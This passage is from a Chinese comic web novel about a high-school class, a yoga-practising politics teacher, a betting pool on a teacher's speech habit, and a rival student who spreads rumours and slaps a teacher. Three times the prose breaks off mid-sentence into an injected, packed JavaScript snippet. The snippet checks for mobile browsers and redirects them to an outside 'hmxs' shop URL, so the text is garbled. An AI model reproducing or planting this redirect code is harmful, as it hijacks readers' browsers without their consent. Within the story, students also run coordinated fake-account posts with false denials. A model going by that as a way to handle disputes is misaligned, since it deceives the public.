然后他保持这个姿势，继续说：“比如教与学，就是一对矛盾。老师想教好，学生想学好，但方法不对，就会产生矛盾……” 全班目瞪口呆。 鲁平直起身，又做了个扭腰动作：“解决矛盾，要抓住主要矛盾的主要方面……” 他一边做简易瑜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064640|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伽，一边讲哲学。 诡异的是，这次没人睡觉。 大家都瞪大眼睛，像在看一场行为艺术表演。 洐沁飞速记录：「重大发现！鲁平的隐藏属性：课堂瑜伽爱好者！效果：催眠指数下降30%，迷惑指数上升100%！」 下课后，全班都在讨论。 “鲁老师是不是受刺激了？” “可能觉得我们睡太多，想用这种方式提神？” “但好怪啊，再看一眼……” 鲁平收拾东西时，我忍不住走过去：“老师，您刚才……” “哦，那个啊。”鲁平擦了擦秃顶上的汗——这次真有汗了，“我腰椎不好，医生让多拉伸。上课站着不动，难受，就活动活动。” “不会影响讲课吗？” “不会。”鲁平认真地说，“动起来脑子更清醒。而且你们不是没睡吗？” 我无言以对。 他拎起瑜伽垫和保温杯，走到门口，回头补充：“对了，下节课我可能要练呼吸法，你们不用管我，认真听课就行。” 说完走了。 洐沁走过来，眼神发亮：“宝藏老师。我决定给他开个新专辑：《政治课上的瑜伽大师》。” “你高兴就好。” “当然高兴。”洐沁说，“高中生活，就需要这种意外惊喜。” --- 周五放学，五班开始了第一次集体训练。 洐沁制定了详细的计划表，精确到每个人的训练项目和休息时间。她还不知从哪弄来了几个秒表、口哨，甚至还有一箱运动饮料。 “饮料我赞助的。”她说，“赢了火锅，输了就当投资失败。” 训练很顺利，除了一个小插曲—— 三班的几个人路过操场，梦萱也在其中。她看到我们在训练，故意大声说： “练得再狠有什么用？一群书呆子还想拿金牌？” 五班有人想回嘴，被洐沁制止。 “继续训练。”她说，“狗叫不用理。” 梦萱见我们没反应，气得走过来，直接对正在练跳远的王鑫说：“你这种姿势，能跳两米算我输。” 王鑫脸一沉。 我走过去，平静地说：“梦萱同学，根据运动力学，起跳角度在40-45度时最优。王鑫现在调整的就是这个角度。你要是有更好建议，可以具体说说，比如水平初速度怎么算？空气阻力系数取多少？” 梦萱：“……” “说不出来？”我抿了抿唇，继续说到，“那就别瞎指导。顺便提醒你，你改短的校服裙会影响跑步时的空气动力学，建议换回原版。” 梦萱的脸一阵红一阵白，最后丢下一句“你们等着”，带着人走了。 五班同学哄笑。 “程姐，牛逼啊！”王鑫竖起大拇指。 “基本操作。”我淡定地喝了口水，“对付颠婆，要用她听不懂的语言。” 训练继续。 夕阳西下，操场上洒满金光。同学们奔跑、跳跃、喊口号，汗水在阳光下闪闪发亮。 我忽然觉得，这样好像也不错。 有目标，有伙伴，有——虽然抽象但挺可爱的老师和同学。 还有一个月就是运动会。 火锅，我们来了。 --- 晚上，我收到洐沁发来的文件： 《关于鲁平老师课堂瑜伽的初步研究报告》 里面详细分析了鲁平做瑜伽的动机、动作标准度、以及对课堂效果的影响。结论是：「虽然怪异，但有效提升了课堂注意力集中度，建议推广。」 我回复：「你认真的？」 洐沁：「半认真。另外，梦萱那边有新动作。」 她发来一张截图，是校园墙的匿名帖： 「爆料：五班班长承诺拿第一就请全班吃海鲜自助，拉票嫌疑严重！这种不正当竞争该不该管？」 底下已经有人跟帖： 「真的假的？班长这么有钱？」 「海鲜自助？慕了」 「但拿班费请客不好吧？」 洐沁打字：「她开始玩阴的了。不过放心，我有对策。」 「什么对策？你拿我涮锅呢铁子？」 「咳咳咳……明天你就知道了。」 我放下手机，看着窗外夜色。 高中生活，果然永远不会无聊。 颠婆在努力，老师在瑜伽，同桌在搞学术研究。 而我，只想安静地当个班长，顺便吃顿火锅。 怎么就这么难呢？ 7. 第 7 章(微改) 张聪明老师的“啊字计数”运动，在高二五班已经发展成了一项全民娱乐活动。 这项运动的起源已不可考，但据洐沁的《五班人类学观察报告》记载，最早是有同学无聊，在数学课上偷偷画“正”字计“啊”，结果一节课下来画了四个正字加三笔——23个“啊”。 后来有人开盘下注。 再后来，发展出了完整的规则体系： 【五班“啊字计数”赌盘规则v2.1】 1. 赌注：不得超过五元，以零食结算（避免涉赌嫌疑）。 2. 下注时间：上课铃响前五分钟。 3. 计数范围：仅限张聪明老师口头表达的“啊”，拖长音算一个，感叹语气算一个，迟疑语气（如“这个啊～”）也算一个。 4. 特殊情况：如老师感冒导致“啊”数激增，当期赌盘作废。 5. 庄家：轮流担任，本周庄家是体育委员王鑫。 周一早晨数学课，赌盘正式开盘。 王鑫在本子上画了个表格： 下注区间 赔率 当前下注人 15-20啊 1:3 赵倩（2包辣条） 21-25啊 1:2 刘浩（1瓶可乐） 26-30啊 1:1.5 程穗（3包瓜子） 31-35啊 1:1 洐沁（5颗糖） 36+啊 1:5 李伟（赌神，押10元） “班长你也下注？”有人惊讶。 “观察需要。”我面不改色地交出瓜子。其实是洐沁怂恿的：“不下注怎么融入集体？” 上课铃响，张聪明准时踏入教室。 他今天穿了件嫩黄色POLO衫，肚子把衣服撑出一道完美的弧线，像怀孕六个月的企鹅。 “同学们好啊～”开场就是一个标准拖长音“啊”。 王鑫在表格旁画了第一笔。 “上周的测验成绩啊～已经出来了啊～”张聪明从公文包里掏出一沓试卷，“总体而言啊～咱们班考得不错啊～当然也有个别同学啊～需要努力啊～” 三句话，六个“啊”。 底下开始有压抑的笑声。 张聪明浑然不觉，开始发试卷：“李伟啊～86分～不错啊～王鑫啊～79分～要加油啊～赵倩啊～92分～很好啊～” 每叫一个名字，必带“啊”。 计数飞快攀升。 洐沁在笔记本上画了一个张聪明的Q版形象，头顶不断冒出“啊”字气泡，像游戏里的对话气泡攻击。 “这道大题啊～全班只有三个人做对了啊～”张聪明拿起粉笔，“我来讲解一下啊～首先啊～我们要设未知数x啊～然后啊～列方程啊～” 他的“啊”开始密集爆发。 王鑫的手速跟不上，紧急呼叫援助：“刘浩！帮我记！” 刘浩掏出手机打开录音——这是允许的，因为计数需要证据。 “所以啊～解得x等于3啊～然后代入啊～求出y啊～最后啊～别忘了写答啊～” 一道题讲完，“啊”数增加了13个。 计数突破25，进入26-30区间。 押这个区间的我，心跳开始加速。 张聪明擦了擦汗——可能是粉笔灰，也可能是“啊”得太用力——继续说：“下面啊～我们看下一题啊～这道题啊～错误率很高啊～” 他的“啊”开始出现变体：有上扬的“啊↗”，有下沉的“啊↘”，有拐弯的“啊～↗↘”。 洐沁低声分析：“他在无意识中开发出了‘啊’的语调系统，这是语言学的重大发现。” “你能不能认真听课？”我小声说。 “这也是听课。”洐沁理直气壮，“我在研究教师的语言习惯对课堂效果的影响。” 计数突破30。 押31-35区间的洐沁眼睛亮了。 但就在这时，张聪明的手机响了。 “不好意思啊～我接个电话啊～”他走出教室。 全班立刻沸腾： “现在多少了？” “32个！” “还有十分钟下课，还能冲！” “我赌他能破40！” “加注！我加一包薯片！” 洐沁突然举手：“庄家，我申请临时加注规则：如果老师接电话时说‘啊’，算不算？” 王鑫愣住：“这……没先例啊。” “快决定！他要回来了！” “算！”王鑫拍板。 张聪明推门进来，脸上带着尴尬的笑：“不好意思啊～年级主任的电话啊～说运动会的事啊～” “第33、34、35个！”刘浩报数。 洐沁的区间已达目标，但她眼睛盯着36+的高赔率区间。 距离下课还有八分钟。 “我们继续啊～”张聪明翻试卷，“这道几何题啊～需要做辅助线啊～在这里啊～连一下啊～” “40！破36了！”有人小声欢呼。 押36+的李伟握紧拳头。 张聪明似乎察觉到课堂气氛异常，停下笔：“你们今天啊～怎么这么兴奋啊～” “第42个！” “是不是有什么好事啊～” “43！” “说出来让老师也高兴高兴啊～” “44！” 最后三分钟，张聪明的“啊”进入狂暴状态，几乎每句话都带，有的句子甚至带两三个： “所以啊～这个辅助线啊～是关键啊～” “45！46！47！” 下课铃响。 张聪明意犹未尽：“好了啊～今天就讲到这里啊～作业是练习册第50页啊～” “48！49！50！最终计数：50个‘啊’！” 全班寂静，然后爆发出压抑的欢呼。 李伟跳起来：“我赢了！1赔5！庄家给钱！” 王鑫脸色惨白：“10元赔50……我零花钱没了……” 张聪明一脸困惑：“你们在庆祝什么啊～” 全班齐声：“庆祝老师讲课精彩啊～” “是吗～”张聪明受宠若惊，“那老师以后更努力啊～” “52！”有人忍不住又计了两个。 那节数学课，成了五班赌盘史上的传奇。后来有人把录音上传到年级群，标题是《啊的史诗：一节课50个“啊”全记录》，张聪明因此得了新外号：“啊神”。 但他本人一直不知道。 --- 下午训练时，梦萱的挖墙脚行动开始了。 她没亲自出面，派了个跟班——一个扎双马尾、看起来很甜但眼神很精的女生，叫小鱼。 小鱼找到我们班短跑主力周浩，递给他一瓶功能饮料：“梦萱姐让我给你的。” 周浩愣住：“干嘛？” “梦萱姐说，你这种人才在五班浪费了。”小鱼声音甜腻，“三班有专业的体育生指导，训练更科学。你要是来三班，梦萱姐保证你拿百米金牌。” 周浩皱眉：“我不转班。” “不用转班，就来训练。”小鱼说，“梦萱姐认识体校教练，可以给你特训。五班这些人……”她瞥了眼正在练接力的我们，“一群书呆子，能教你什么？” 周浩沉默了。 这一切被洐沁看在眼里。她走过来，直接问周浩：“她给你开什么条件？” 周浩有点尴尬：“就……说能找教练……” “哦。”洐沁转向小鱼，“同学，你们梦萱姐这么厉害，怎么不先把自己班的跳远短板补上？我记得三班跳远最好成绩才4米2，而我们班王鑫能跳5米1。” 小鱼脸色一变。 “还有，”我也走了过来，说道，“你说我们班是书呆子，那我们来比点书呆子擅长的。你知道短跑起跑时，起跑器角度多少最优吗？你知道博尔特百米步频多少吗？你知道空气湿度对短跑成绩的影响系数吗？” 小鱼：“……” “一问三不知，就敢来挖人？”我真的笑了，“回去告诉梦萱，想挖墙脚，先让自己配得上。至少，先把《运动生理学》第一章看完。” 小鱼灰溜溜走了。 周浩不好意思地说：“我没想去……” “知道。”洐沁拍拍他肩膀，“但下次有人挖你，你就问她这些问题。答不上来的，都是骗子。” 王鑫凑过来：“班长，你刚说的那些……你自己懂吗？” “不懂。”我坦然了，“但我查过资料，背下来了。对付外行，够用了。” 全班佩服得五体投地。 训练继续，但梦萱显然没放弃。 十分钟后，校园墙出现了新帖子： 「爆料：五班体育生周浩训练时晕倒，疑似班级训练强度过大！这样的班级值得待吗？」 配图是周浩训练后坐在地上喝水的照片，角度抓拍得像晕倒。 五班同学怒了： “这是诽谤！” “周浩明明好好的！” “梦萱太贱了！” 洐沁却很平静：“意料之中。现在，该我们反击了。” 她拿出手机，开始打字。 五分钟后，校园墙出现新帖： 「学术讨论：论诽谤行为的心理动机及法律后果——以某班同学为例」 帖子用严谨的学术语气，分析了诽谤行为的定义、构成要件、心理动机（寻求关注、转移矛盾、发泄情绪），最后附上了《治安管理处罚法》相关条款。 没有点名，但所有人都知道在说谁。 底下跟帖： 「楼主是律师吗？」 「这分析，绝了」 「某班同学对号入座了」 梦萱那边没再发帖。 洐沁推推不存在的眼镜：“对付颠婆，要用她看不懂的方式。她擅长胡搅蛮缠，我就跟她讲道理；她擅长造谣，我就跟她讲法律。她进我退，她退我进，让她永远打不到痛点。” “你从哪学的这些？”我问。 “我爸的心理学案例。”洐沁说，“他说，有些人就像小孩子哭闹，你越哄她越来劲。你不理她，或者用成年人的方式回应，她就没招了。” “但你这也是在陪她闹啊。” “不一样。”洐沁笑了，“她是真闹，我是假陪。她是情绪输出，我是学术研究。她浪费的是生命，我积累的是论文素材。” 我服了。 这人已经把高中生活过成了田野调查。 --- 周四政治课，鲁平的瑜伽课堂升级了。 他走进教室时，手里除了瑜伽垫和保温杯，还多了个——蓝牙音箱？ 全班屏息凝神。 鲁平把音箱放在讲台上，连接手机，然后说：“同学们，今天我们讲《唯物辩证法》。在开始之前，我们先做三分钟冥想，帮助集中注意力。” 他按下播放键。 音箱里传出声音：“现在，请闭上眼睛……深呼吸……吸气……呼气……” 是冥想引导音乐！还有女声引导！ 全班懵了。 鲁平自己已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064641|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经盘腿坐在瑜伽垫上，闭上眼睛，跟着引导词呼吸：“吸气……感受空气进入鼻腔……呼气……释放压力……” 有同学憋不住笑出声。 鲁平眼睛睁开一条缝：“安静，跟着做。” 大家只好照做。 于是，政治课上出现了奇幻一幕：全班45人，加上一个秃顶老师，集体闭眼冥想，音箱里女声温柔地说：“想象你是一片云……飘浮在天空……” 洐沁偷偷睁开一只眼，在本子上画速写：鲁平头顶冒出“Zzz”符号，周围飘着云朵。 三分钟后，引导结束。 鲁平睁开眼睛，神清气爽：“好，现在我们开始上课。唯物辩证法有三大规律：对立统一规律、质量互变规律、否定之否定规律……” 神奇的是，经过冥想，大家真的没那么困了。 至少前二十分钟，趴桌率不到30%。 鲁平讲到一半，又开始拉伸——这次是扭脖子，左右各三圈，颈椎发出“咔咔”声。 “就像矛盾双方啊，”他一边扭脖子一边说，“既对立又统一……” 洐沁低声说：“他已经把瑜伽和哲学深度融合了。这是行为哲学，还是哲学行为艺术？” “有区别吗？” “前者是理论指导实践，后者是实践创造理论。”洐沁认真地说，“我倾向于后者，因为他明显是瞎练的，动作都不标准。” 下课时，鲁平说：“下次课我们尝试呼吸法配合矛盾分析法。” 全班：“……” 等人走后，王鑫说：“你们发现没，鲁老师最近……活泼了？” “可能找到人生新方向了。”洐沁合上笔记本，“从佛系教师转型为哲学瑜伽大师，这是中年教师的第二春。” “是好是坏？” “对课堂效果是好的。”洐沁分析，“至少大家不睡了。对鲁老师本人也是好的，他找到了教学乐趣。唯一的问题是……” “什么？” “万一他下学期开选修课《哲学瑜伽入门》，我们是不是得捧场？” 全班倒吸凉气。 --- 周五，梦萱使出了终极杀招。 她不知从哪弄来一份“体检报告”，贴在校园墙上： 「震惊！五班训练强度超出青少年承受极限，多名学生出现心率不齐、肌肉拉伤症状（附体检报告截图）」 截图是模糊的，但能看到心电图和几个数据。 五班炸了。 “这报告哪来的？” “伪造的吧！” “太下作了！” 连好脾气的周浩都怒了：“我特么根本没体检过！” 洐沁却很冷静：“这招厉害了。伪造医学报告，触及红线了。” “怎么办？找老师？” “不。”洐沁说，“这次，我们以其人之道还治其人之身。” 她召集了几个同学，低声布置任务。 半小时后，校园墙出现了系列新帖： 帖1：「科普：如何识别伪造的体检报告——从字体、印章到数据格式」 帖2：「法律讲堂：伪造医学证明涉嫌犯罪，量刑标准一览」 帖3：「心理学分析：为何有人不惜违法也要诋毁他人？深度解析嫉妒型人格障碍」 帖4：「体育老师友情提示：我校训练强度经专业审核，完全符合国家标准」 每个帖子都附上权威资料截图，条理清晰，证据充分。 更重要的是，这些帖子是不同账号发的，看起来像“路人”自发反击。 梦萱的帖子被压了下去，底下全是质疑： 「楼主敢不敢发原图？」 「这心电图是网图吧？」 「已举报，造谣可耻。」 梦萱删帖了。 五班赢了这一局。 训练结束时，洐沁对大家说：“看到没？对付谣言，最好的办法是用更多、更专业的真相淹没它。她造一个谣，我们发十篇科普。她越疯狂，我们越理性。到最后，大家会相信谁？” 全班鼓掌。 王鑫问：“洐沁，你这些知识都从哪来的？” “平时积累。”洐沁淡定地嗑瓜子，“我爸说，人生就像打牌，你永远不知道下一张是什么。所以要多攒牌，等需要时，随便打一张都是王炸。” “你爸是哲学家？” “不，他是打麻将的。”洐沁说，“但道理通用。” 大家笑了。 夕阳西下，训练场洒满金光。同学们虽然累，但眼神明亮。 运动会还有两周。 火锅，越来越近了。 而颠婆，似乎黔驴技穷了。 但我们都清楚，以梦萱的性格，绝不会善罢甘休。 下一招会是什么？ 不知道。 但没关系。 我们有瓜子，有瑜伽老师，有“啊神”班主任，有会打心理战的同桌。 还有，越来越团结的五班。 --- 晚上，洐沁发来消息： 「最新情报：梦萱在打听鲁平老师的课表。」 「她想干嘛？」 「不知道。但根据行为模式分析，她可能想对瑜伽课堂下手。」 「政治课能怎么下手？」 「所以才需要观察。下周政治课，保持警惕。」 我放下手机，看向窗外。 高中生活，果然每天都有新惊喜。 颠婆要挑战瑜伽大师？ 这剧情，越来越抽象了。 8. 第 8 章 周二上午，政治课前五分钟。 洐沁像特工一样压低声音对我说：“据线报，梦萱今天请了‘病假’，但有人看到她七点半就进了学校，现在在三班教室——装病。” “她想干什么？” “不确定。”洐沁推了推不存在的眼镜，“但鲁平老师今天第一节课在五班，第二节课在三班。按照她的性格，如果要搞事，会在两个班的交界点——也就是走廊——下手。” “为什么是走廊？” “公共空间，目击者多，传播效应强。”洐沁分析，“而且走廊没有监控死角，方便她表演。” 上课铃响，鲁平准时走进五班。 他今天没带瑜伽垫，也没带蓝牙音箱，只拿着保温杯和课本，表情略显疲惫。 “同学们好。”破锣嗓子有气无力，“今天讲《社会存在与社会意识》……” 课堂进行到一半时，外面走廊传来骚动。 是梦萱的声音，尖利刺耳：“你他妈眼瞎啊？！撞到人了不会道歉？！” 接着是一个男生的声音：“明明是你自己撞上来的……” “还嘴硬？！” 鲁平讲课的声音停了。他皱了皱眉，走到教室后门，拉开门缝往外看。 我们也跟着看去。 走廊上，梦萱正堵着一个矮个子男生——是三班的，戴眼镜，手里抱着一摞作业本。地上散落着几本书。 “捡起来！”梦萱指着地面。 男生蹲下捡书。 梦萱却用脚尖踩住其中一本：“道歉。” “对不起……”男生小声说。 “没听见！大声点！” “对、对不起！” 梦萱这才挪开脚，但男生捡起书时，她“不小心”又踢了一脚，书飞出去砸在墙上。 全班都看到了。 鲁平的脸沉了下来。 他拉开门走出去：“这位同学，你在干什么？” 梦萱转身，看到鲁平，不但不怕，反而笑了：“哟，鲁老师啊。我在教同学懂礼貌。” “你刚才的行为很不礼貌。”鲁平严肃地说。 “我不礼貌？”梦萱夸张地瞪大眼睛，“他撞了我，我还得跟他客气？鲁老师，您这偏袒得有点明显啊。” “我看到是你撞的他。” “您看错了。”梦萱抱起手臂，“年纪大了，眼睛不好使，理解。” 鲁平的脸开始涨红。 那男生抱着书想溜，梦萱喝住：“让你走了吗？” 男生僵住。 “道歉。”鲁平对梦萱说，“向这位同学道歉。” “凭什么？” “凭我是老师。” “老师了不起啊？”梦萱嗤笑，“秃顶老师也是老师？” 走廊瞬间安静。 几个从旁边教室探头的学生迅速缩了回去。 鲁平整个人僵住了。他的秃顶在走廊灯光下泛着红光——不是反光，是血管充血的颜色。 “你……说什么？”他声音发颤。 “我说，”梦萱一字一顿，“秃、顶、老、师。” 她往前一步，几乎贴到鲁平面前：“怎么，说到痛处了？天天拿你那反光脑门照我们，自己心里没点数？我要是秃成你这样，早就戴假发了，还好意思出来教书？” 恶毒。太恶毒了。 连洐沁都放下了笔，低声说：“这已经超出校园霸凌，进入人身攻击范畴了。” 鲁平的手在抖。 他指着梦萱，嘴唇哆嗦：“你……你……” “我什么我？”梦萱冷笑，“结巴了？也是，脑供血不足，说话不利索正常。我建议您啊，早点退休，别在这儿碍眼。” “啪！” 一记清脆的耳光。 不是鲁平打的——他不可能打学生。 是梦萱。 她竟然扇了鲁平一巴掌！ 虽然力度不大，声音却清脆响亮，在空旷的走廊里回荡。 时间凝固了。 所有人都惊呆了。 那个被欺负的男生吓得书又掉在地上。 鲁平捂着脸，眼镜歪到一边，露出那双小而震惊的眼睛。 梦萱也愣了一下，似乎没想到自己真打了——但很快，她恢复跋扈：“看什么看？你自找的！” 说完，她转身想走。 “站住。”鲁平的声音。 很奇怪。没有愤怒，没有委屈，而是一种……诡异的平静。 梦萱回头：“怎么，还想再挨一下？” 鲁平慢慢放下手。他脸上有个浅浅的红印，但表情很奇怪——不是生气，不是难过，而是一种…… 迷茫？ 他推正眼镜，看着梦萱，看了很久。 然后，他说话了，声音比平时更沙哑： “这一巴掌……很有意思。” 全场：“？？？” 梦萱也愣了：“你有病吧？” “确实。”鲁平点头，“我可能真的有病。” 他开始自言自语：“教了二十年书，被学生骂过，被气哭过，但从没被打过。这一巴掌……很有力道，角度也很精准，打在了颧骨下方，不会造成实质性伤害，但声音响亮。你研究过？” 梦萱：“……” “而且，”鲁平继续，“你打完后没有逃跑，没有害怕，反而继续挑衅。这说明你不是冲动，是计算好的。你想激怒我，让我失控，这样你就成了受害者——‘老师打学生’，比‘学生打老师’严重得多。” 走廊一片死寂。 洐沁在我耳边小声说：“他……他居然在分析？” “你脑子被打坏了吧？”梦萱后退半步，第一次露出不确定的表情。 “可能吧。”鲁平摸了摸脸，“但这一巴掌……让我想起了一些事。” 他眼神飘远：“我小时候，我父亲也这样打过我。每次我犯错，他就一巴掌扇过来。后来他去世了，再也没有人打过我。二十年来，我第一次……” 他停顿，看着梦萱，眼神复杂：“谢谢你。” 梦萱：“？？？” 五班全体：“？？？？？？？” 那个被欺负的男生捡起书，悄悄溜了。 “你……你神经病啊！”梦萱终于反应过来，破口大骂，“谁要你谢！滚开！” 她推开鲁平，冲下楼梯。 鲁平站在原地，看着她消失的方向，手又摸了摸脸。 然后他转身，回到五班教室。 全班同学齐刷刷坐正，假装刚才什么都没看到。 鲁平走上讲台，沉默了一会儿，说：“我们继续上课。社会存在决定社会意识，社会意识反作用于社会存在……” 他讲课的声音比平时更平静，甚至有一丝……愉悦？ 洐沁在本子上疯狂记录： 「重大发现！鲁平老师疑似觉醒M属性！」 「对暴力行为产生反常积极反应！」 「童年创伤与当下行为的关联性分析！」 「建议观察后续发展！」 下课铃响，鲁平收拾东西时，突然说：“对了，下节课我要在三班上课。” 他顿了顿，补充：“有点期待。” 说完走了。 全班炸了。 “刚才发生了什么？” “鲁老师被扇耳光，还说谢谢？” “他是不是受刺激太大了？” “梦萱也太狠了吧！打老师啊！” 洐沁举起手，全班安静。 “同学们，听我说。”她表情严肃，“刚才发生的事，很严重，但也……很珍贵。” “珍贵？” “对。”洐沁点头，“你们见证了一个人类行为学上的罕见案例：成年人在受到羞辱性攻击后，非但没有产生敌意，反而激活了潜在的受虐倾向。这是教科书级别的观察素材。” “你是说……鲁老师是受虐狂？” “目前只能说‘疑似’。”洐沁严谨地说，“需要更多观察。但无论如何，这件事不能外传。” “为什么？” “为了保护鲁老师。”洐沁说，“也为了……保护我们的观察对象。如果事情闹大，鲁老师可能会被调查，梦萱可能受处分，我们的田野调查就中断了。” 王鑫举手：“那我们怎么办？” “三点。”洐沁竖起手指，“第一，保密。第二，继续观察。第三——最重要的是，不要让梦萱知道她的行为产生了反效果。否则她可能会变本加厉，那对鲁老师真的不好。” 全班点头。 但我知道，这事瞒不住。 走廊上不止我们班的人。 --- 果然，中午校园墙就炸了。 帖子标题：「惊天爆料！三班某女生掌掴政治老师！老师反应成谜！」 内容写得绘声绘色，但没点名。底下评论已经刷了几百条： 「真的假的？打老师？」 「哪个女生这么猛？」 「政治老师……是那个秃顶的吗？」 「听说老师被打后还笑了？」 「这什么剧情……」 洐沁立刻行动。 她在帖子下回复：「楼主造谣要有证据。我就在现场，是老师自己不小心撞到学生手上了，不是打耳光。」 有人跟帖：「我也在，就是误会。」 「对啊，老师还跟学生道歉了呢。」 「现在的谣言太离谱了。」 五班同学集体出动，在评论区刷屏“辟谣”。 效果显著，舆论开始转向“误会论”。 洐沁私聊我：“看到没？集体作战的力量。” “但梦萱会罢休吗？” “不会。”洐沁说，“她肯定气死了——自己制造的爆点被我们压下去了。我预测她会有下一步行动。” “针对鲁老师？” “可能。”洐沁沉思，“也可能针对我们班，毕竟我们‘坏了她好事’。” 下午第二节课，鲁平去三班上课。 洐沁派了“侦查员”——王鑫假装去三班借书，在门口蹲点。 下课回来，王鑫脸色古怪。 “怎么样？”洐沁问。 “很……平静。”王鑫说，“鲁老师正常讲课，梦萱趴着睡觉，两人零交流。” “没有冲突？” “没有。而且……”王鑫压低声音，“鲁老师讲课的时候，看了梦萱好几眼，眼神……我说不上来，反正不像是恨。” 洐沁眼睛亮了：“持续观察。” --- 放学后训练，梦萱果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064642|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然来了。 她没靠近，就站在操场边看，眼神阴冷。 周浩有点紧张：“她不会来捣乱吧？” “别管她。”洐沁说，“我们练我们的。” 训练到一半，梦萱突然走过来，直接对周浩说：“你，过来一下。” 周浩看向我。 我摇头。 “有事就在这儿说。”周浩说。 梦萱冷笑：“关于鲁老师的事，你确定要在这儿说？” 周浩犹豫了。 “别去。”洐沁拦住，“她想单独谈话，肯定有阴谋。” “但我……” “我去。”我开口说，“我是班长，有资格代表班级谈判。” 我走向梦萱。 我们在操场边说了五分钟。 我回来时，表情平静。 “她说什么？”洐沁问。 “两件事。”我说，“第一，她让我们别多管闲事，否则有我们好看。第二，她说鲁平是个变态，让我们小心点。” “变态？” “她说鲁平下课把她叫到办公室，问她……‘手疼不疼’。” 全班倒吸凉气。 “然后呢？” “她说她骂了句‘神经病’就走了。”我有些无语，“但根据她的描述，鲁平当时的语气不是嘲讽，是真心关心。” “这……”王鑫挠头，“鲁老师真被打出毛病了？” “不一定。”我说，“可能是一种防御机制——将伤害重新定义为‘关怀’，从而消解痛苦。这是心理学上的常见策略。” “那我们怎么办？” “正常对待。”洐沁说，“该训练训练，该上课上课。至于鲁老师和梦萱的事……我们只观察，不干预。” 她顿了顿，补充：“除非事态失控。” --- 晚上，洐沁发来一份新文件：《关于鲁平老师异常行为的初步分析报告》。 里面详细列出了几种可能： 1. 创伤激活论：童年暴力经历被唤醒，产生斯德哥尔摩综合征式依恋。 2. 职业倦怠论：长期教学压力导致认知失调，将异常事件合理化。 3. 人格特质论：本身具有受虐倾向，一直被压抑，此次事件成为释放契机。 4. 表演论：故意表现出异常，以逃避“被学生打”的耻辱（可能性较低）。 报告结论：需进一步观察，建议记录每次鲁平与梦萱的互动。 我看完，回复：「你写这个干嘛？」 洐沁：「积累论文素材。我爸说，好的研究始于好的观察。」 「你爸知道你用他的心理学知识分析老师吗？」 「知道。他说‘注意伦理边界’。」洐沁回复，「所以我匿名，而且不传播。」 我放下手机，脑子里回放白天那一幕。 鲁平捂着脸说“谢谢你”的样子。 梦萱错愕的表情。 还有走廊里那种荒诞又诡异的氛围。 高中生活，果然每天都在刷新我的认知下限。 --- 第二天政治课，鲁平恢复了瑜伽。 但他今天多带了一样东西：一个坐垫。 “同学们，”他说，“今天我们先冥想五分钟，然后做简单的颈部拉伸。” 他放音乐，引导冥想。 这次，没人笑。 大家安静地跟着做，甚至有点……肃穆？ 课后，鲁平叫住我：“程穗同学。” “老师？” “昨天走廊的事……”他顿了顿，“不要告诉其他老师。” “我不会说的。” “谢谢。”他点头，“另外……三班的梦萱同学，她是不是经常……那样？” 我斟酌措辞：“她性格比较直接。” “直接。”鲁平重复这个词，若有所思，“挺好的。现在很多学生太虚伪，不敢说真话。她至少真实。” 我：“……” “好了，你去吧。”鲁平摆摆手。 我走出教室，洐沁在门口等我。 “他跟你说了什么？” 我复述了一遍。 洐沁在本子上记下：「评价转变：从‘不礼貌’到‘真实’。情感倾向：积极。」 “完了。”她合上本子，“病情加重了。” “要告诉李老师吗？” “暂时不用。”洐沁说，“我们先观察。如果只是精神层面异常，没有实质行为，就不算危险。” “那运动会……” “照常。”洐沁眼睛一亮，“对了，我昨晚想到了开幕式的‘抽象震撼’方案。” “是什么？” 她凑到我耳边，小声说了几句。 我听完，沉默了三秒。 “你确定要这么干？” “确定。”洐沁微笑，“绝对会让全校记住五班，也会让梦萱气到吐血。” “但张老师会同意吗？” “他会说‘啊～你们自己决定啊～’。”洐沁模仿着张聪明的语气，“所以我们自己决定。” 我看着她兴奋的表情，突然觉得，这个班级，这些人…… 真的，一个正常的都没有。 包括我自己。 因为我居然有点期待。 9. 第 9 章 走廊巴掌事件后，五班出现了一个新赌盘： 《鲁平老师M属性觉醒进度盘》 赌注分类： 1. 进度10%：开始主动找梦萱说话（赔率1:2） 2. 进度30%：给梦萱送东西（赔率1:3） 3. 进度50%：公开维护梦萱（赔率1:5） 4. 进度70%：为梦萱与其他老师冲突（赔率1:10） 5. 进度100%：表白（赔率1:100，庄家王鑫说这个他赔不起，纯娱乐） 开赌第一天，进度条就猛冲到20%——鲁平在政治课上“无意”提到：“有些同学虽然行为激烈，但内心可能是渴望被关注的。” 全班都知道在说谁。 